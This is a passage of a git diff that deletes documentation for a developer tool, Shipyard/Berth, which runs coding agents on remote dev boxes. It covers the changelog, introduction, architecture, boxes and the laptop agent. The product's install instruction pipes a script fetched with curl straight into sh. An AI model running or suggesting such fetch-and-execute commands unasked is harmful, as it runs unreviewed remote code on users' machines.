- `berthd doctor` says the same. Boxes need an upgrade.
- [Agent browser](/docs/guides/agent-browser#when-ubuntu-blocks-it).
-- **The browser tab is your browser.** A browser pane always shows the
- worktree's page in a real browser on your laptop, through its proxy; the
- agent's browser on the box shows only while an agent drives it, behind a
- clearly marked **Agent's view · live**, and now shows the page at once
- rather than after its next repaint (most still pages never drew). URLs
- the box writes with its own name (`$BERTH_URL`, `devbox` where you paired
- it as `devl`) open too, a redirect to another port on the box's
- `localhost` goes to that port, and a server macOS can't name counts as
- the worktree's dev server again. Boxes and the laptop agent need an
- upgrade. [Agent browser](/docs/guides/agent-browser#watching-it).
-- **The chat keeps every turn.** A prompt with something pasted in it
- (Claude Code 2.1 writes those with a new closing tag) was left out of the
- chat entirely; it now shows as typed. A chat also lost or jumbled turns
- when the box read the conversation afresh (after a box upgrade, or once
- no one had looked at it for ten minutes) or a long chat let its oldest
- live turns go while older ones were loaded: items are now named by where
- they are in the agent's record, so the chat keeps what it showed, reads
- what it missed in between, and turns read back after being hidden come
- back on their own. `/compact` reads as one divider. Boxes need an upgrade.
-- **Worktrees side by side (Labs).** Two or more worktrees share one tab
- strip as tab groups: ⌥-click one in the sidebar, drag it onto the strip,
- or choose "Add to tabs beside…". Each group has its name and colour;
- click it to fold it, right-click to colour or close it (its agents keep
- running). ⌃⇧⇥ and ⌃⌥⇥ step between groups, ⌘1–9 count across the strip
- and ⌘⇧W closes the group in front (with one, the window). A tab can show
- panes of two worktrees too: **⌘⌥D** picks a worktree, then one of its
- agents, its page, its diff or a new terminal, and puts it beside the
- focused pane; dragging a worktree onto a pane's edge splits its agent in.
- Run, ⌘T, ⌘⇧B, the + menu, the palette and plugins act in the focused
- pane's worktree. With one worktree open nothing looks different.
- [More](/docs/guides/labs#worktrees-side-by-side).
-- **Scrolling keeps up.** The wheel over a terminal now reaches the agent
- in batches, one per redraw, rather than one report per wheel event. A
- trackpad flick through a long Claude Code thread queued dozens of
- full-screen redraws behind each other, and over a slow connection to the
- box the view kept scrolling for seconds after you stopped; now it stops
- within a redraw, the same distance down. Drawing a whole new screen in
- the terminal also takes half the time it did.
-- **Nineteen more themes.** Ports of popular VS Code themes: Dracula, One
- Dark Pro and One Light, Catppuccin Mocha and Latte, Tokyo Night, Nord,
- GitHub Dark, Dark Dimmed and Light, Gruvbox, Solarized, Rosé Pine and
- Dawn, Night Owl and Night Owl Light, and Kanagawa Wave, each from its own
- palette for the app, the terminal and code, nudged only where text would
- be too faint to read. Settings groups them Berth, Dark and Light, with a
- search, and **Match system** can use any light and dark pair.
- [Themes](/docs/guides/themes) lists them and how to make your own.
-- **Code in replies is coloured.** A code block in an agent's reply is now
- syntax-highlighted like the app's diffs, in the theme's own colours, by
- its fence's language (or a guess). It colours in after it draws, off the
- main thread, without moving; Copy still takes the plain code.
-- **Smaller fixes.** A long reply scrolls inside the reply box instead of
- pushing the chat away, and text size (⌘+ / ⌘−) now reaches the chat
- itself, its code and its edits, not just the UI around it.
-
-## v0.3.3
-
-October 5, 2026.
-
-The chat takes on the rest of what a terminal does: Claude's questions,
-its artifacts, its edits as diffs, and dev servers in tabs of their own.
-
-
-- **Archiving follows through.** Archive or remove a worktree from the
- sidebar, zen, the launcher or the Worktrees table and it shows as
- "Archiving…" (dimmed, nothing to open) while the repo's archive script
- runs, then leaves the sidebar, the table and its open tabs as soon as the
- box reports it gone; its sessions stop with it. If the script fails, the
- worktree comes back with the script's output under Details. The app used
- to say "Archived" at once and keep showing it. Boxes need an upgrade for
- the session stop and the script's output.
-- **A worktree left locked archives.** A `git worktree add` that was cut off
- leaves git's own "initializing" lock, and git then refuses to remove the
- worktree. The box now unlocks and removes those, cleans up after an add
- that fails, and still leaves alone a worktree a person locked, saying how
- to unlock it. Boxes need an upgrade for it.
-- **Details opens.** "Details" on an error toast did nothing when clicked.
- It now opens the full output (git's, a script's) in a dialog with Copy,
- everywhere it appears.
-- **Artifacts in the chat.** A page Claude publishes on claude.ai with its
- Artifact tool shows as a card where it happened, with Open, and a
- "3 artifacts" chip at the right of the reply box's controls lists them
- all, newest first: open one, copy its link, or show it in the chat. A
- page published again is marked updated. Boxes need an upgrade for it.
-- **Claude's questions, answered in the chat.** When Claude asks several
- questions at once (AskUserQuestion), the chat used to answer only the
- first and then hang. Now it shows the whole form: each question with its
- options, one pick or several, room for your own words, back and next, and
- a review with Submit. The box fills in Claude's own form key by key,
- checking its screen as it goes; if anything doesn't match, it stops and
- Claude's screen opens under the chat to finish there. Answers stay in the
- conversation as what you picked. Boxes need an upgrade for it.
-- **Services in a terminal tab.** A service with `"terminal": true` (in a
- kit, `.berth/config.json` or a box's own config, with an optional
- `"title"`) runs in a terminal of its own, which opens as a tab named after
- it when its worktree does, so a dev server's output is right there.
- Ctrl-C in the tab stops it, and Start, in the tab or anywhere else, runs it
- again in the same tab. Closing the tab only hides it; "Running in" and the
- Run menu have Show terminal. Boxes need an upgrade for it.
-- **Drag tabs into splits.** Drag a tab from the top bar over a pane and
- drop it on an edge to split that pane right, left, up or down, with an
- outline showing where it lands; drop it between tabs to reorder. A pane
- drags by its header beside another pane, onto another's middle to swap
- them, or onto the strip to become a tab of its own. Nothing restarts:
- terminals and agents keep their sessions. A tab's menu has Split right
- and Split down, and a pane's ⋯ menu has Move to a new tab.
-- **Edits in the chat look like the Diff panel.** An agent's edit opens
- highlighted, in the same renderer as the Diff panel, numbered by the
- file's own lines; Write and MultiEdit too, and the file's uncommitted
- diff beside it still takes comments. Unified in the chat's column, split
- where the pane has room (it remembers), and a long edit folds to Show
- all. The renderer loads the first time you open an edit, never before.
- Boxes need an upgrade for the line numbers; older ones count from 1.
-- **Chat backgrounds and width.** Settings → Appearance → Chat background
- puts a quiet background behind conversations, in zen too, drawn in your
- theme's colours: patterns (chart contours, a dot grid, a nautical grid,
- soft waves), dithered gradients (Dawn, Dusk, Deep sea) and harbour
- scenes. A picture of your own, picked, dropped or generated with Codex on
- your Mac (it shows the exact command and runs only when you press
- Generate), lands dithered in the theme's ink. Strength, Dither and Tone
- shape it; Advanced can show a picture as it is. Chat → Width sets how wide
- conversations run, from Narrow to Full. A pane's ⋯ menu has Chat
- background….
-- **One corner radius.** Cards in the chat, the task list, notices and the
- agent's own screen take the reply box's radius; bubbles keep their own.
-- **Zoom with ⌘+ and ⌘−.** View → Zoom in (⌘+ or ⌘=), Zoom out (⌘−) and
- Actual size (⌘0) make the app's text bigger or smaller, from 11 to 20px,
- with a moment's readout of the size; it's kept, and Settings →
- Appearance → Text size shows it. With a terminal focused they size the
- terminal's font instead, and ⌘0 puts it back to 13px.
-
-## v0.3.2
-
-October 5, 2026.
-
-- **Built-in plugins on a fresh install.** The release's content policy
- kept the app from reading its own list of built-in plugins, so a new
- install had none: Diff, Changes, Pull request, Notes and the rest. Dev
- builds skip that policy; CI now checks it.
-- **New task with a line break** (⌘N) starts its agent. The box couldn't
- read back a session whose prompt had a line break, so it removed the
- worktree it had just made and said "It's gone".
-- **Pasted screenshots upload fast.** A pasted image over 1 MB or 2000 px is
- shrunk first (a 4 MB screenshot goes up as about 30 KB), files go up as
- raw bytes rather than base64, and the chip shows progress, its size, and
- Retry if it fails. Chips sit inside the composer.
-- **Replies with a paste show where they were sent.** Claude Code records a
- paste wrapped in `` tags; the chat dropped such a reply,
- and it showed below the answer instead. Its tags no longer show either.
-- **A reply sent while the agent works** says it hasn't read it yet:
- "Sent · Claude reads it at its next step".
-- **Diff and Pull request follow the branch** when the agent switches,
- commits or rebases mid-turn.
-- **Live text** read off the agent's screen looks like the reply, not a
- quote.
-
-## v0.3.1
-
-October 5, 2026.
-
-- **Labs is on by default**: the harbour home, agents as conversations,
- and zen. Settings → Labs turns it off, and that choice is kept.
-- **Claude Code's idle prompt** no longer reads as one of its own screens,
- which opened the live terminal over an empty chat (Claude Code 2.1 draws
- a no-break space after `❯`).
-- **A reply in a long chat** no longer says the agent "hasn't taken this
- yet" or shows twice.
-- **Edits that only add lines** don't show a stray "−".
-
-## v0.3.0
-
-October 4, 2026.
-
-The chat grows up: it stays in step with the agent's terminal, takes
-everything the terminal takes, and stays fast on long conversations.
-
-- **One chat per agent, in step with its terminal.** Several agents in one
- folder keep separate chats; a new agent never shows another's. A message
- sent mid-turn shows before its reply, the running step and the agent's
- own status ("Running pnpm test · 18s", "Seasoning… · 9m") show live, and
- its words show from the screen before the transcript has them.
-- **Replies as Markdown.** Headings, tables and code render as the
- terminal shows them, with less noise: the steps between replies fold.
- Text selects and copies; Copy takes the Markdown.
-- **Open a tool call** to see what the terminal shows: the full command and
- its output, an edit's exact change
- (`GET /v1/sessions/{name}/transcript/tool/{id}`).
-- **Everything the terminal takes.** `/` lists the agent's built-in and
- custom commands, skills and plugins; `@` files, `!` shell. Screens of
- the agent's own, such as `/model`'s picker, open inline and fold away.
-- **Chat controls.** Stop, the permission mode and model chips, the agent's
- task list, context meter, background shells, and cards for API errors,
- limits and an agent that exited mid-work.
-- **History and scale.** Older turns load as you scroll up, helpers'
- (subagents') own chats open from Crew, ↑/↓ recalls prompts, ⌘F searches
- the chat, and Fork and Rewind start over from any prompt. 5,000 items
- paint in about 0.3 s and scroll at 60 fps.
-- **Paste or drop images and files** for an agent on a remote box, in the
- chat or its terminal; they upload to the worktree's `.berth/attachments`.
-- **What's running in a worktree** sits under the composer, with names and
- Open in tab, and plugins can add a section with `addWorktreeSection`.
-- **Diff panel.** A worktree's whole branch diff, its uncommitted changes,
- or both, drawn with [`@pierre/diffs`](https://diffs.com).
-- **Pull request picks.** Pick failing checks, reviews and comments on a
- PR and send them to the worktree's agent, or copy them.
-- **Closing a tab stops its agent**, with a moment to undo, and a new tab is
- always a new session.
-- **Zen on ⌘.** from the menu bar, rename and archive from zen, and the wheel
- scrolls a full-screen agent's terminal instead of cycling its prompts.
-
-- **What happens to your message.** A reply sent while the agent works
- shows as queued in the conversation, with **Send now** and **Cancel**, and
- the reply box says whether Enter sends or queues. The box lists, cancels
- and sends held prompts (`GET`/`DELETE /v1/sessions/{name}/queue`).
-- **Approvals from Claude Code's hooks.** A permission reads "Claude wants
- to run `pnpm test`" with Claude's reason, from its `PermissionRequest`
- hook rather than the screen, with Allow, Always allow and Deny matched to
- its menu. The request stays in the box's private ledger, never in events.
-- **See the work, comment on it.** An edit in the conversation opens to its
- diff (`GET /v1/sessions/{name}/diff`), and lines take comments there and
- in Review, sent to the agent as one short prompt.
-
-## v0.2.0
-
-October 4, 2026.
-
-Orchestration rebuilt on the box: it keeps going while your laptop sleeps,
-survives berthd restarts and upgrades, and costs your agents as few tokens
-as it can.
-
-- **Turns, not guesses.** Every prompt Berth sends gets a turn ID, and
- waits, loops and flows wait on that turn, not on the clock or the folder.
- Each session is tracked on its own, so a reviewer beside an agent no
- longer ends the agent's wait. Hook events go through a numbered journal
- (`GET /v1/events?since=`), are kept while berthd is down, and are never
- dropped in a burst. Codex, Cursor, Gemini and OpenCode report their
- state through their own hooks. See [sessions and agents](/docs/concepts/sessions-and-agents).
-- **Quieter "needs you".** Claude's idle reminder no longer counts as a
- question, an approved permission clears "waiting", and nothing Berth sends
- (broadcast, the queue, loops) types into an agent that is waiting on you.
-- **Durable runs.** Loops, reviews, hand-offs, broadcasts and flows run on
- the box from a journal: they keep going while the laptop sleeps and
- resume after berthd restarts, never sending an agent a prompt twice.
- `berth run …`, `berth runs`, and `berth loop` as a run; gates you decide
- from the app, the CLI or the phone; box-wide caps and per-run budgets.
- See [runs](/docs/guides/runs).
-- **Try N ways.** Several agents, or models, try one task in their own
- worktrees, on one box or several; a check verifies them, a headless judge
- ranks them, and Review's Compare lets you pick one for a draft PR.
-- **Triggers v2.** Issue labels and assignees, signed webhooks, and an
- Auto-fix this PR toggle; a GitHub item arriving while a flow runs waits
- for it instead of being dropped, and comment text reaches an agent
- labelled as untrusted, from the authors you allow. See
- [automations](/docs/guides/automations).
-- **Handoff packets** and native fork or resume; **headless agents** in
- tmux; **`berthd mcp`** for agents. The app's flows for every box are gone:
- commit such a flow to the repository's `.berth/config.json` or its kit.
-- **A browser for your agents.** Each worktree's agent can open its own dev
- server at the URL you see (`BERTH_URL`) in a headless Chromium on the box,
- confined to that worktree's ports, and act on it in a few hundred tokens a
- step. Watch it live, pick an element to send it, and see its screenshots
- in Review. On Ubuntu 24.04, allow Chromium's sandbox or opt out with
- `BERTH_BROWSER_NO_SANDBOX=1`. See [agent browser](/docs/guides/agent-browser).
-- **The agent's conversation**, read from Claude Code's or Codex's own
- transcript (`GET /v1/sessions/{name}/transcript`), for a calmer view of
- what an agent is doing. Tool output and thinking are never sent. On a box
- with an older berthd, the view offers to update it in place.
-- **Pick a model and effort** for a new agent (`model` and `effort` on
- tasks and attempts, passed to each agent's own flags), so attempts can
- pit models against each other.
-- **Labs: a calmer Berth.** Behind a Labs switch in Settings: a harbour home
- with one composer and your agents, a Conversation view beside each
- agent's terminal, and zen (⌘.), which puts the sidebar away. See
- [Labs](/docs/guides/labs).
-
-## v0.1.2
-
-October 3, 2026.
-
-- **Set up a box from your tailnet.** **Add a box** lists the machines on
- this Mac's tailnet, with their OS, whether they are online and which are
- boxes already, and **Set up** installs and pairs one over SSH. Tailscale
- SSH needs no keys, a host key the tailnet vouches for is trusted, and
- check-mode approval opens in your browser. **Sign in to another tailnet**
- lists that tailnet's machines too. `berth discover --json` reports
- Tailscale's state and each machine's Tailscale SSH and host keys. See
- [add a box](/docs/getting-started/add-a-box#on-your-tailnet).
-- **A kit can live in a repository of its own.**
- Kit links to GitHub, GitLab, Bitbucket and Codeberg work without
- `https://` (`berth kit add github.com/me/kit`). See [kits](/docs/guides/kits).
-- **Add another computer** with a join link, and **use this Mac as a box**
- without the CLI.
-
-## v0.1.1
-
-October 3, 2026.
-
-- **A signed Mac app.** `Berth-macos-universal.dmg`, one app for Apple
- silicon and Intel, signed with a Developer ID and notarized. It carries the
- `berth` CLI and the Linux daemons. See [install](/docs/getting-started/install#install-the-app).
-- **Automatic updates.** The app checks for a new release in the
- background and shows **Restart to update** when one is ready; it never
- restarts by itself.
-- **The `berth` command from the app.** **Settings → General → Command
- line** links `~/.local/bin/berth` to the app's copy.
-- **Security fixes** from an audit; [the security model](/docs/concepts/security)
- has the whole picture:
- - A repository's committed `.berth/config.json` runs on a box only once
- [trusted there](/docs/guides/project-config#trusting-a-repositorys-config),
- for its exact content.
- - Plugins you install never turn on by themselves, and ask for
- [consent](/docs/guides/plugins#trust-and-consent) pinned to a hash of their
- code.
- - [Flow](/docs/guides/automations#how-values-are-filled-in) values reach
- shell steps as `$BERTH_FLOW_*` environment variables, never as script
- text; webhook values are encoded; secrets show as `[secret]`.
- - Webhooks and phone notifications can't reach loopback, private or
- metadata addresses unless `~/.berth/network.json` on the box allows them.
- - Gates cover every route that changes something and see an origin the box
- can vouch for; revoking a laptop closes its open streams; pairing is
- limited per source address; clones and kit fetches refuse local and
- command transports; kits apply only what you reviewed; project skill
- installs refuse symbolic links.
-
-## v0.1.0
-
-October 3, 2026. The first release.
-
-- `berthd` for Linux and macOS boxes, and the `berth` CLI, for amd64 and
- arm64, with `checksums.txt`.
-- One line installs berthd on a box and prints a pairing link:
- `curl -fsSL https://berthd.app/install | sh`. It installs the hooks that
- let Claude Code, Codex and Cursor report their state.
-- `berth add ssh` installs and pairs a box over SSH in one step.
-- The desktop app, built from source, with the laptop agent startable from
- the app.
diff --git a/apps/shipyard/content/docs/(root)/index.mdx b/apps/shipyard/content/docs/(root)/index.mdx
deleted file mode 100644
index 277abd1c9..000000000
--- a/apps/shipyard/content/docs/(root)/index.mdx
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Introduction
-description: Run coding agents on your own dev boxes, and work with them as if they were on your laptop.
----
-
-Shipyard connects a laptop to any number of development machines (a VPS, a
-cloud VM, a desktop under your desk) and gives each repository on them
-worktrees, terminals, agents, dev servers and automations. The agents run on
-the boxes, so closing the app, sleeping the laptop or losing Wi-Fi never
-stops them; the app is a view you can close and reopen at any time.
-
-
-
-```sh
-curl -fsSL https://berthd.app/install | sh
-```
-
-Run that on your box, as the user your agents will run as. It installs
-`berthd` with no root, starts it, installs the hooks that let agents report
-their state, and prints a link: paste it into **Add a box** in the desktop
-app, or into `berth pair` on your laptop.
-
-On your Mac, [download Shipyard](https://github.com/cosscom/shipyard/releases/latest/download/Berth-macos-universal.dmg),
-drag it to Applications and open it. It's signed and notarized, runs on
-Apple silicon and Intel, carries the `berth` CLI, and updates itself. Every
-step is in [install](/docs/getting-started/install).
-
-
-
-## Start here
-
-
-
-
-
-
-
-
-## What it does
-
-- **Workspaces per worktree.** Terminals, splits, and browser tabs onto each
- worktree's dev server, at private URLs like
- `http://checkout.shop.devl.localhost:1377/`.
-- **Agents you can see and steer.** Claude Code, Codex and others, with a
- dashboard of who needs you, a review inbox for finished work, and
- [orchestration](/docs/guides/orchestration) (prompt, wait, check, loop, hand off)
- from the app, the CLI, or other agents.
-- **Projects set up the same everywhere.** Each worktree gets its own ports,
- environment, services, hooks and flows, from the repository's
- [`.berth/config.json`](/docs/guides/project-config), a shareable
- [kit](/docs/guides/kits), or the box's own config.
-- **Automations.** [Flows](/docs/guides/automations) on events, schedules or GitHub
- activity, running on the box; plus plain shell [hooks and gates](/docs/guides/hooks).
-- **Plugins.** [React plugins](/docs/guides/plugins) for the app, with built-ins
- for git changes, pull requests, dev servers, box monitoring, activity and
- notes.
-- **Boxes without the fuss.** Pinned mutual TLS, pairing by link, boxes on
- other tailnets, self-upgrade over Shipyard's own connection, and a
- [phone companion](/docs/guides/phone) served by each box.
-
-## The pieces
-
-| Piece | What it is |
-| --- | --- |
-| `berthd` | The daemon on each box: worktrees, sessions (tmux), services, hooks, flows, kits. |
-| `berth` | The laptop CLI and background agent: connections, private URLs, the app's API. |
-| `app/` | The desktop app (Tauri, React, coss ui). |
-| `plugins/` | Built-in plugins, written against `packages/plugin-sdk`. |
-
-Read [how Shipyard works](/docs/concepts/architecture) for the whole picture, or
-[the security model](/docs/concepts/security) before you pair a box you care
-about.
-
-
- } title="Concepts" href="/docs/concepts/architecture" description="Boxes, projects, worktrees, sessions and the laptop agent." />
- } title="Guides" href="/docs/guides/orchestration" description="Orchestration, automations, hooks, kits, secrets, the phone, plugins." />
- } title="CLI reference" href="/docs/reference/cli" description="Every berth and berthd command." />
- } title="Config reference" href="/docs/reference/config" description="Every field of .berth/config.json and kit.json." />
-
diff --git a/apps/shipyard/content/docs/(root)/meta.json b/apps/shipyard/content/docs/(root)/meta.json
deleted file mode 100644
index 6c16f8b79..000000000
--- a/apps/shipyard/content/docs/(root)/meta.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
- "pages": ["index", "changelog"],
- "title": "Overview"
-}
diff --git a/apps/shipyard/content/docs/concepts/architecture.mdx b/apps/shipyard/content/docs/concepts/architecture.mdx
deleted file mode 100644
index 88e06df29..000000000
--- a/apps/shipyard/content/docs/concepts/architecture.mdx
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: How Shipyard works
-description: The box serves, the laptop connects, and the app is only a view.
----
-
-Shipyard connects a laptop to remote development boxes (any VPS, on a tailnet or
-not) and makes the services, worktrees and agent sessions on them usable as
-if they were local. Nothing is public unless someone explicitly shares it.
-
-## Principles
-
-- **Private by default.** Services stay on the box. They are reachable only
- through an authenticated connection from a paired laptop. berthd itself
- listens on the box's tailnet address, never the internet, unless told to.
-- **The box serves, the laptop connects.** The box owns its services,
- worktrees, sessions and public shares; the laptop holds connections and
- local URLs. Nothing a teammate depends on runs only on someone's laptop.
-- **Few dependencies.** berthd is one static binary that needs only `git`
- and `tmux` on the box; the app bundles everything else. No SSH agent, DNS
- zone or `/etc/hosts` edit is needed, and SSH is used once at most, to
- install.
-- **Survive the real world.** Laptops sleep, networks change, daemons
- upgrade. Connections reconnect indefinitely, sessions outlive the daemon,
- and state files are never silently emptied.
-
-## Components
-
-
-
-
- - Desktop app
- - `berth` CLI
- - Agent hooks and skill
-
-
-
- - Box health
- - Forwards
- - `*.localhost`
- - Tailnets
-
-
-
-
-
- - Locations
- - Sessions
- - Shares
- - Events, hooks
-
-
-
-
-- **berthd** runs on each box as a systemd user service (launchd on macOS).
- It holds the box's identity, the trust store of paired laptops, and the
- box's locations, sessions, services, shares, hooks and flows. Tools on the
- box reach it through a private Unix socket with the same API. See
- [boxes](/docs/concepts/boxes).
-- **The Shipyard agent** (`berth agent`) runs on the laptop. It keeps a connection to every box,
- runs forwards and the `*.localhost` proxy, relays every box's events, runs
- laptop hooks, holds the offline prompt queue, and owns the embedded tailnet
- nodes. The CLI and the app talk to it, so closing the app drops nothing.
- See [the laptop agent](/docs/concepts/laptop-agent).
-- **The desktop app** is a Tauri shell around a React UI. It talks to the
- laptop agent over a loopback HTTP and WebSocket API guarded by a token
- ([the app's API](/docs/reference/app-api)): box APIs pass through the agent's
- one connection per box, and terminals are bridged over WebSocket. The app
- holds no connection and no state worth losing; it can crash or close at any
- time.
-
-## Where things live
-
-| On the box | On the laptop |
-| --- | --- |
-| Repositories and worktrees | Connections to every box |
-| Sessions (tmux) and the agents in them | Private URLs, forwards and routes |
-| Services, units and public shares | The offline prompt queue |
-| Box hooks, flows and the resource guard | Laptop hooks, kits library, themes, plugins |
-| The phone companion | The app and its settings |
-
-The full list of files is in [files and environment](/docs/reference/files).
-
-## Events
-
-One event model on both sides; each event records the tool it came from:
-
-```json
-{ "type": "agent.waiting", "time": "…", "box": "devl", "origin": "claude",
- "data": { "path": "/home/me/work/shop-checkout", "session_id": "…" } }
-```
-
-The laptop agent relays every online box's events with `box` set, so
-anything on the laptop (a hook, the app, a plugin, `berth events`) hears about
-every agent on every box. [Hooks](/docs/guides/hooks) run commands for matching
-events; `before:` hooks gate actions on the box and can refuse them.
-[Flows](/docs/guides/automations) run several steps on the box. Agent tool hooks
-forward only identifiers and paths, never prompts. The catalog is in
-[events and gates](/docs/reference/events).
-
-## Extending it
-
-- [Plugins](/docs/guides/plugins) extend the app: screens, worktree panels,
- commands, status bar items, themes. They can carry hooks and kits.
-- [Kits](/docs/guides/kits) package how a project is set up, and travel as a link.
-- [Skills](/docs/guides/agent-integrations#skills) teach the agents on a box to use
- Shipyard themselves.
-
-Next, read about [boxes](/docs/concepts/boxes), or
-[add one](/docs/getting-started/add-a-box) if you haven't yet.
diff --git a/apps/shipyard/content/docs/concepts/boxes.mdx b/apps/shipyard/content/docs/concepts/boxes.mdx
deleted file mode 100644
index aab855a47..000000000
--- a/apps/shipyard/content/docs/concepts/boxes.mdx
+++ /dev/null
@@ -1,125 +0,0 @@
----
-title: Boxes
-description: The machines your agents run on, and what berthd keeps on each.
----
-
-A **box** is a machine that runs `berthd`, usually Linux (macOS works too):
-a VPS, a cloud VM, a desktop under your desk. It is where repositories live, where agents and dev
-servers run, and where automations fire. Boxes are always on, so work
-continues while your laptop is asleep or shut.
-
-A laptop can pair with any number of boxes, and a box can be paired with
-several laptops. Each box has a name on your laptop (`devl`, `gpu`,
-`homelab`), which is also part of its URLs: `http://3000.devl.localhost:1377/`.
-
-## What berthd keeps
-
-- **Locations**: named directories, usually git repositories, and their
- worktrees. See [projects and worktrees](/docs/concepts/projects-and-worktrees).
-- **Sessions**: programs (usually agents) running in Shipyard's own tmux
- server. See [sessions and agents](/docs/concepts/sessions-and-agents).
-- **Services**: each worktree's dev servers and workers, from the
- repository's config, kept running by the service manager.
-- **Units**: any other long-lived program you want on the box.
-- **Shares**: public links to a port.
-- **Hooks, flows and the resource guard**: automation that runs on the box.
-- **The phone companion**, when you turn it on.
-
-berthd runs as a systemd user service, or a launchd agent on macOS.
-The [install script](/docs/getting-started/add-a-box#with-the-install-command)
-and [`berth add ssh`](/docs/getting-started/add-a-box#over-ssh) both set that up
-for you with `berthd install`. It survives restarts and upgrades
-without touching running sessions. Its state is in `~/.config/berth/box/`
-(`~/Library/Application Support/berth/box/` on macOS); files you write by
-hand (`hooks.json`, `flows.json`, `env.json`, `guard.json`) are in
-`~/.berth/`. See [files and environment](/docs/reference/files).
-
-## Online, offline, untrusted
-
-The laptop agent keeps one connection per box and reports each as
-`connecting`, `online`, `offline` or `untrusted` (the box no longer trusts
-this laptop's key):
-
-```sh
-berth boxes
-berth ping devl
-```
-
-When a box is offline, its sessions keep running out there. The app shows
-what it last knew, and prompts for its agents can wait in the
-[offline queue](/docs/guides/offline-queue).
-
-## Units
-
-A unit is a long-lived program berthd runs on the box under the platform's
-service manager, so it survives reboots and restarts on failure. Its output
-goes to a log file berthd owns.
-
-```sh
-berth unit add devl/tunnel -- cloudflared tunnel run home
-berth units devl
-berth unit log devl/tunnel
-berth unit restart devl/tunnel
-```
-
-A worktree's services are units too, named after the worktree; manage them
-with `berth service` instead.
-
-## Public shares
-
-```sh
-berth share devl 3000 # Port 3000 is public at https://….trycloudflare.com
-berth shares devl
-berth unshare devl ID
-```
-
-The box runs a Cloudflare quick tunnel (it needs `cloudflared` installed), so
-the link keeps working while your laptop sleeps. A share ends when you stop
-it, or when berthd stops or upgrades.
-
-## Upgrades
-
-```sh
-berth upgrade devl # or --check to only report whether it runs a different build
-```
-
-The laptop uploads the berthd build that ships beside its `berth`, over
-Shipyard's own connection, with no SSH. The box checks that the new binary runs
-and reports the box's own fingerprint, swaps it in and re-executes in place,
-so sessions and services keep running. Public shares stop.
-
-The app notices on its own. When a box runs an older berthd than this Shipyard
-ships, the status bar and **Settings → Boxes** say so ("2 boxes run an older
-berthd") with **Update all**, which updates each box in turn and shows its
-progress. A feature that needs a newer berthd (the conversation view, runs,
-Review) offers **Update** right where it is missing. To skip the step
-altogether, turn on **Update boxes automatically when Shipyard updates** in
-Settings → Boxes: each box is updated once for every build Shipyard ships, as
-soon as it is online.
-
-A box is in one of four states, the same everywhere in the app: **online**,
-**outdated** (online, with an older berthd), **offline** (not answering;
-Shipyard reconnects on its own) or **unreachable** (it answers, but Shipyard can't
-use it, such as a box whose identity changed).
-
-## Health
-
-```sh
-berth stats devl # memory, disk, load, and agents running or waiting
-berth ports devl # what is listening, and which process
-berth doctor devl # git, tmux, cloudflared, agent CLIs, listen address, lingering, paired laptops
-```
-
-Click a box's memory meter in the status bar for the
-[browsers running on it](/docs/guides/agent-browser#every-browser-on-a-box), who
-started each and what it costs, with **Stop** for the ones Shipyard or its
-sessions started; `berth ps devl` lists them in a terminal. A session's
-processes [go with it](/docs/concepts/sessions-and-agents#sessions-clean-up-after-themselves)
-when it ends.
-
-The built-in **Box monitor** plugin keeps an hour of history and warns before
-a box runs out. The [resource guard](/docs/guides/resource-guard) can stop idle
-dev servers and pause idle agents when memory runs short.
-
-Next: [projects and worktrees](/docs/concepts/projects-and-worktrees), what you
-keep on a box.
diff --git a/apps/shipyard/content/docs/concepts/laptop-agent.mdx b/apps/shipyard/content/docs/concepts/laptop-agent.mdx
deleted file mode 100644
index acb5fcd09..000000000
--- a/apps/shipyard/content/docs/concepts/laptop-agent.mdx
+++ /dev/null
@@ -1,236 +0,0 @@
----
-title: The laptop agent
-description: The background process that holds every box connection, serves private URLs, and outlives the app.
----
-
-The **Shipyard agent** (`berth agent`) runs on your laptop in the background. It
-holds a connection to every paired box, runs saved forwards and the
-`*.localhost` proxy, and serves a local API that the CLI and the desktop app
-are clients of. Closing the app, or the app crashing, never stops a session,
-a forward or a queued prompt.
-
-## What it does
-
-- keeps one pinned TLS connection per box, reconnecting forever, with health
- pings to notice a connection that died silently and sleep detection. A
- box whose check is slow or gets no answer is marked **slow** and checked
- again in about 2 seconds; only a second failure in a row (or a refused
- connection, a wrong key, or the box saying it is stopping) takes it
- away, and away it is tried again after about 2 seconds, then 4 and every
- 8, each give or take 20% so boxes don't all retry at once. A request
- that waits 10 seconds for an answer has the box checked at once, and a
- request for a box known to be away is answered straight away instead of
- waiting out a dial ([Slow and dropping networks](#slow-and-dropping-networks));
-- serves **private URLs** on port 1377, `http://3000.devl.localhost:1377/`,
- and runs **forwards** (a fixed local port to a box port) and **routes**;
- a box's URLs work by the name you paired it as and by the box's own name
- (see below);
-- relays every online box's **events**, so laptop hooks, plugins and the app
- hear about every agent on every box;
-- runs **laptop hooks** from `~/.berth/hooks.json`;
-- holds the [offline prompt queue](/docs/guides/offline-queue) and delivers it
- when boxes come back;
-- runs an embedded Tailscale node for each [other tailnet](/docs/getting-started/add-a-box#boxes-on-another-tailnet);
-- keeps your **kits** library and serves your themes, task templates and
- plugins to the app.
-
-## A box's own name
-
-You name a box when you pair it (`devl`), and the box has a name of its own
-(`devbox`, its hostname). URLs the box makes, such as `$BERTH_URL` or an
-app's configured origin, use its own name: `http://checkout.shop.devbox.localhost:1377`.
-The proxy accepts both, so a link an agent prints opens on your laptop, and
-on a new computer that paired the box under another name. It learns each
-box's own name when the box comes online, and skips a name that is also one
-of your paired boxes or that two boxes share. The app's browser tabs show
-either by your name for the box.
-
-A server's redirect to its own `localhost:PORT` goes back to the address you
-opened, and one to another port on the box's loopback (an auth server on
-`localhost:4000`) goes to that port's name, `http://4000.devl.localhost:1377`,
-since `localhost` there means the box, not your laptop.
-
-## Running it
-
-Any command that needs the agent starts it, and when the desktop app finds
-it isn't running, it offers to: **Start the Shipyard agent** runs
-`berth agent start`, and ticking **Start at login** installs it as a service
-instead. To have it start at login and restart after a crash from a
-terminal:
-
-```sh
-berth agent install # launchd on macOS, a systemd user unit on Linux
-berth agent status
-berth agent uninstall
-berth agent # run it in the foreground instead
-berth agent restart # restart it once its work under way is done
-berth stop # stop it, and every forward
-```
-
-The agent outlives the app, so an update to Shipyard would leave it running
-the old version. The updated app restarts it as it starts (`berth agent
-restart --if-stale`), whether the app started it or it starts at login:
-the agent first finishes what it's doing (adding or upgrading a box,
-setting up this Mac's box, sending a queued prompt), and agents' sessions
-keep running on their boxes throughout. The new agent then brings this
-Mac's box up to date.
-
